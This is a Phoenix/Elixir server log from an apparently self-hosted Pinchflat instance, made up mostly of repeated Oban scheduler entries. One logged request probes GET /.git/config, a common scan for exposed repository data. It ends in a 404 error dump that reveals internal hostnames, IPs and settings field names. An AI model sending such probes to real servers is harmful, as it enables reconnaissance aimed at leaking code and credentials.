{"source":"oban","duration":219,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 00:12:14.651 [info] {"source":"oban","duration":639,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 00:12:44.652 [info] {"source":"oban","duration":676,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 00:13:00.532 [info] {"source":"oban","duration":188,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 00:13:14.653 [info] {"source":"oban","duration":760,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 00:13:44.655 [info] {"source":"oban","duration":615,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 00:14:00.533 [info] {"source":"oban","duration":236,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 00:14:14.656 [info] {"source":"oban","duration":615,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 00:14:44.657 [info] {"source":"oban","duration":754,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 00:15:00.534 [info] {"source":"oban","duration":231,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 00:15:14.659 [info] {"source":"oban","duration":675,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 00:15:44.660 [info] {"source":"oban","duration":619,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 00:16:00.535 [info] {"source":"oban","duration":198,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 00:16:14.661 [info] {"source":"oban","duration":802,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 00:16:44.663 [info] {"source":"oban","duration":688,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 00:17:00.536 [info] {"source":"oban","duration":240,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 00:17:14.664 [info] {"source":"oban","duration":761,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 00:17:44.665 [info] {"source":"oban","duration":700,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 00:18:00.537 [info] {"source":"oban","duration":249,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 00:18:14.667 [info] {"source":"oban","duration":860,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 00:18:44.669 [info] {"source":"oban","duration":673,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 00:19:00.538 [info] {"source":"oban","duration":226,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 00:19:14.670 [info] {"source":"oban","duration":605,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 00:19:44.671 [info] {"source":"oban","duration":652,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 00:20:00.539 [info] {"source":"oban","duration":236,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 00:20:14.672 [info] {"source":"oban","duration":657,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 00:20:44.673 [info] {"source":"oban","duration":782,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 00:21:00.540 [info] {"source":"oban","duration":214,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 00:21:14.675 [info] {"source":"oban","duration":660,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 00:21:44.676 [info] {"source":"oban","duration":562,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 00:22:00.541 [info] {"source":"oban","duration":285,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 00:22:14.677 [info] {"source":"oban","duration":631,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 00:22:44.678 [info] {"source":"oban","duration":744,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 00:23:00.542 [info] {"source":"oban","duration":252,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 00:23:14.680 [info] {"source":"oban","duration":515,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 00:23:44.681 [info] {"source":"oban","duration":577,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 00:24:00.543 [info] {"source":"oban","duration":224,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 00:24:14.682 [info] {"source":"oban","duration":648,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 00:24:28.423 [info] GET /.git/config 00:24:28.423 [debug] QUERY OK source="settings" db=0.2ms idle=773.2ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 00:24:28.424 [debug] QUERY OK source="settings" db=0.0ms idle=378.4ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 00:24:28.424 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 00:24:28.424 [error] #PID<0.6704.0> running PinchflatWeb.Endpoint (connection #PID<0.6703.0>, stream id 1) terminated Server: pinchflat.8layer8.com:80 (http) Request: GET /.git/config ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /.git/config (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.6703.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/.git/config", host: "pinchflat.8layer8.com", peer: {{10, 0, 1, 40}, 54874}, bindings: %{}, sock: {{10, 0, 1, 49}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept-charset" => "utf-8", "accept-encoding" => "gzip", "host" => "pinchflat.8layer8.com", "user-agent" => "Mozilla/5.0 (SS; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/141.0.0.0 Safari/537.36", "x-forwarded-for" => "10.0.0.2", "x-forwarded-host" => "pinchflat.8layer8.com", "x-forwarded-port" => "443", "x-forwarded-proto" => "https", "x-forwarded-server" => "24de652d339a", "x-real-ip" => "10.0.0.2" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 1, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "pinchflat.8layer8.com", method: "GET", owner: #PID<0.6704.0>, params: %{}, path_info: [".git", "config"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router => PinchflatWeb.Router, :phoenix_router_url => "https://pinchflat.8layer8.com", :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {10, 0, 1, 40}, req_cookies: %{}, req_headers: [ {"accept-charset", "utf-8"}, {"accept-encoding", "gzip"}, {"host", "pinchflat.8layer8.com"}, {"user-agent", "Mozilla/5.0 (SS; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/141.0.0.0 Safari/537.36"}, {"x-forwarded-for", "10.0.0.2"}, {"x-forwarded-host", "pinchflat.8layer8.com"}, {"x-forwarded-port", "443"}, {"x-forwarded-proto", "https"}, {"x-forwarded-server", "24de652d339a"}, {"x-real-ip", "10.0.0.2"} ], request_path: "/.git/config", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GKE1PfePOR9gEd4AAo8B"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.6703.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/.git/config", host: "pinchflat.8layer8.com", peer: {{10, 0, 1, 40}, 54874}, bindings: %{}, sock: {{10, 0, 1, 49}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept-charset" => "utf-8", "accept-encoding" => "gzip", "host" => "pinchflat.8layer8.com", "user-agent" => "Mozilla/5.0 (SS; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/141.0.0.0 Safari/537.36", "x-forwarded-for" => "10.0.0.2", "x-forwarded-host" => "pinchflat.8layer8.com", "x-forwarded-port" => "443", "x-forwarded-proto" => "https", "x-forwarded-server" => "24de652d339a", "x-real-ip" => "10.0.0.2" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 1, host_info: :undefined }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /.git/config (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.6703.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/.git/config", host: "pinchflat.8layer8.com", peer: {{10, 0, 1, 40}, 54874}, bindings: %{}, sock: {{10, 0, 1, 49}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept-charset" => "utf-8", "accept-encoding" => "gzip", "host" => "pinchflat.8layer8.com", "user-agent" => "Mozilla/5.0 (SS; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/141.0.0.0 Safari/537.36", "x-forwarded-for" => "10.0.0.2", "x-forwarded-host" => "pinchflat.8layer8.com", "x-forwarded-port" => "443", "x-forwarded-proto" => "https", "x-forwarded-server" => "24de652d339a", "x-real-ip" => "10.0.0.2" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 1, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "pinchflat.8layer8.com", method: "GET", owner: #PID<0.6704.0>, params: %{}, path_info: [".git", "config"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router => PinchflatWeb.Router, :phoenix_router_url => "https://pinchflat.8layer8.com", :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {10, 0, 1, 40}, req_cookies: %{}, req_headers: [ {"accept-charset", "utf-8"}, {"accept-encoding", "gzip"}, {"host", "pinchflat.8layer8.com"}, {"user-agent", "Mozilla/5.0 (SS; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/141.0.0.0 Safari/537.36"}, {"x-forwarded-for", "10.0.0.2"}, {"x-forwarded-host", "pinchflat.8layer8.com"}, {"x-forwarded-port", "443"}, (truncated) 00:24:44.682 [info] {"source":"oban","duration":460,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 00:25:00.544 [info] {"source":"oban","duration":232,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 00:25:14.684 [info] {"source":"oban","duration":662,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 00:25:44.685 [info] {"source":"oban","duration":684,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 00:26:00.545 [info] {"source":"oban","duration":218,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 00:26:14.686 [info] {"source":"oban","duration":803,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 00:26:44.688 [info] {"source":"oban","duration":748,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 00:27:00.546 [info] {"source":"oban","duration":219,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 00:27:14.689 [info] {"source":"oban","duration":705,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 00:27:44.690 [info] {"source":"oban","duration":675,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 00:28:00.547 [info] {"source":"oban","duration":264,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 00:28:14.691 [info] {"source":"oban","duration":753,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 00:28:44.692 [info] {"source":"oban","duration":701,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 00:29:00.548 [info] {"source":"oban","duration":265,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 00:29:14.693 [info] {"source":"oban","duration":824,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 00:29:44.695 [info] {"source":"oban","duration":667,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 00:30:00.549 [info] {"source":"oban","duration":223,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 00:30:14.696 [info] {"source":"oban","duration":618,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 00:30:44.697 [info] {"source":"oban","duration":775,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 00:31:00.550 [info] {"source":"oban","duration":228,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 00:31:14.699 [info] {"source":"oban","duration":680,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 00:31:44.700 [info] {"source":"oban","duration":679,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 00:32:00.551 [info] {"source":"oban","duration":217,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 00:32:14.701 [info] {"source":"oban","duration":670,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 00:32:44.702 [info] {"source":"oban","duration":606,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 00:33:00.552 [info] {"source":"oban","duration":252,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 00:33:14.703 [info] {"source":"oban","duration":607,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 00:33:44.704 [info] {"source":"oban","duration":849,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 00:34:00.553 [info] {"source":"oban","duration":242,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 00:34:14.706 [info] {"source":"oban","duration":664,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 00:34:44.707 [info] {"source":"oban","duration":749,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 00:35:00.554 [info] {"source":"oban","duration":257,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 00:35:14.708 [info] {"source":"oban","duration":664,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 00:35:44.709 [info] {"source":"oban","duration":664,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 00:36:00.555 [info] {"source":"oban","duration":242,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 00:36:14.710 [info] {"source":"oban","duration":734,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 00:36:44.711 [info] {"source":"oban","duration":547,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 00:37:00.556 [info] {"source":"oban","duration":257,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 00:37:14.712 [info] {"source":"oban","duration":642,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 00:37:44.713 [info] {"source":"oban","duration":574,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 00:38:00.557 [info] {"source":"oban","duration":182,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 00:38:14.714 [info] {"source":"oban","duration":810,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 00:38:44.716 [info] {"source":"oban","duration":729,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 00:39:00.558 [info] {"source":"oban","duration":219,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 00:39:14.717 [info] {"source":"oban","duration":625,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 00:39:44.718 [info] {"source":"oban","duration":519,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 00:40:00.559 [info] {"source":"oban","duration":224,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 00:40:14.719 [info] {"source":"oban","duration":456,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 00:40:43.088 [debug] Tzdata polling for update. 00:40:43.272 [debug] Tzdata polling shows the loaded tz database is up to date. 00:40:44.720 [info] {"source":"oban","duration":776,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 00:41:00.560 [info] {"source":"oban","duration":217,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 00:41:14.721 [info] {"source":"oban","duration":693,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 00:41:44.722 [info] {"source":"oban","duration":723,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 00:42:00.561 [info] {"source":"oban","duration":222,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 00:42:14.723 [info] {"source":"oban","duration":666,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 00:42:44.724 [info] {"source":"oban","duration":696,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 00:43:00.562 [info] {"source":"oban","duration":265,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 00:43:14.725 [info] {"source":"oban","duration":708,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 00:43:44.726 [info] {"source":"oban","duration":634,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 00:44:00.563 [info] {"source":"oban","duration":165,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 00:44:14.727 [info] {"source":"oban","duration":725,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 00:44:44.728 [info] {"source":"oban","duration":605,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 00:45:00.564 [info] {"source":"oban","duration":258,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 00:45:14.729 [info] {"source":"oban","duration":665,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 00:45:44.730 [info] {"source":"oban","duration":726,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 00:46:00.565 [info] {"source":"oban","duration":160,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 00:46:14.731 [info] {"source":"oban","duration":663,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 00:46:44.732 [info] {"source":"oban","duration":722,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 00:47:00.566 [info] {"source":"oban","duration":257,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 00:47:14.733 [info] {"source":"oban","duration":596,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 00:47:44.734 [info] {"source":"oban","duration":725,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 00:48:00.567 [info] {"source":"oban","duration":186,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 00:48:14.735 [info] {"source":"oban","duration":677,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 00:48:44.736 [info] {"source":"oban","duration":607,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 00:49:00.568 [info] {"source":"oban","duration":213,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 00:49:14.737 [info] {"source":"oban","duration":646,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 00:49:44.738 [info] {"source":"oban","duration":701,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 00:50:00.569 [info] {"source":"oban","duration":220,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 00:50:14.739 [info] {"source":"oban","duration":654,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 00:50:44.740 [info] {"source":"oban","duration":650,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 00:51:00.570 [info] {"source":"oban","duration":168,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 00:51:14.741 [info] {"source":"oban","duration":660,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 00:51:44.742 [info] {"source":"oban","duration":713,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 00:52:00.571 [info] {"source":"oban","duration":157,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 00:52:14.743 [info] {"source":"oban","duration":651,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 00:52:44.744 [info] {"source":"oban","duration":660,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 00:53:00.572 [info] {"source":"oban","duration":213,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 00:53:14.745 [info] {"source":"oban","duration":725,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 00:53:44.746 [info] {"source":"oban","duration":670,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 00:54:00.573 [info] {"source":"oban","duration":188,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 00:54:14.747 [info] {"source":"oban","duration":608,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 00:54:44.748 [info] {"source":"oban","duration":688,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 00:55:00.574 [info] {"source":"oban","duration":229,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 00:55:14.749 [info] {"source":"oban","duration":679,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 00:55:44.750 [info] {"source":"oban","duration":635,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 00:56:00.575 [info] {"source":"oban","duration":176,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 00:56:14.751 [info] {"source":"oban","duration":617,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 00:56:44.752 [info] {"source":"oban","duration":616,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 00:57:00.576 [info] {"source":"oban","duration":167,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 00:57:14.752 [info] {"source":"oban","duration":433,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 00:57:44.754 [info] {"source":"oban","duration":731,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 00:58:00.577 [info] {"source":"oban","duration":237,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 00:58:14.755 [info] {"source":"oban","duration":674,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 00:58:44.756 [info] {"source":"oban","duration":667,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 00:59:00.578 [info] {"source":"oban","duration":187,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 00:59:14.757 [info] {"source":"oban","duration":642,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 00:59:44.758 [info] {"source":"oban","duration":630,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 01:00:00.579 [info] {"source":"oban","duration":218,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 01:00:14.759 [info] {"source":"oban","duration":627,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 01:00:44.760 [info] {"source":"oban","duration":811,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 01:01:00.580 [info] {"source":"oban","duration":204,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 01:01:14.762 [info] {"source":"oban","duration":762,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 01:01:44.764 [info] {"source":"oban","duration":712,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 01:02:00.581 [info] {"source":"oban","duration":225,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 01:02:14.765 [info] {"source":"oban","duration":659,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 01:02:44.766 [info] {"source":"oban","duration":719,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 01:03:00.582 [info] {"source":"oban","duration":239,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 01:03:14.767 [info] {"source":"oban","duration":715,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 01:03:44.768 [info] {"source":"oban","duration":741,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 01:04:00.583 [info] {"source":"oban","duration":245,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 01:04:14.769 [info] {"source":"oban","duration":713,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 01:04:44.770 [info] {"source":"oban","duration":705,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 01:05:00.584 [info] {"source":"oban","duration":235,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 01:05:14.771 [info] {"source":"oban","duration":716,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 01:05:44.772 [info] {"source":"oban","duration":654,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 01:06:00.585 [info] {"source":"oban","duration":181,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 01:06:14.773 [info] {"source":"oban","duration":604,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 01:06:44.774 [info] {"source":"oban","duration":636,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 01:07:00.586 [info] {"source":"oban","duration":172,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 01:07:14.775 [info] {"source":"oban","duration":663,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 01:07:44.776 [info] {"source":"oban","duration":638,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 01:08:00.587 [info] {"source":"oban","duration":166,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 01:08:14.777 [info] {"source":"oban","duration":636,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 01:08:44.778 [info] {"source":"oban","duration":822,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 01:09:00.588 [info] {"source":"oban","duration":218,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 01:09:14.779 [info] {"source":"oban","duration":668,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 01:09:44.780 [info] {"source":"oban","duration":624,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 01:10:00.589 [info] {"source":"oban","duration":207,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 01:10:14.781 [info] {"source":"oban","duration":606,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 01:10:44.782 [info] {"source":"oban","duration":769,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 01:11:00.590 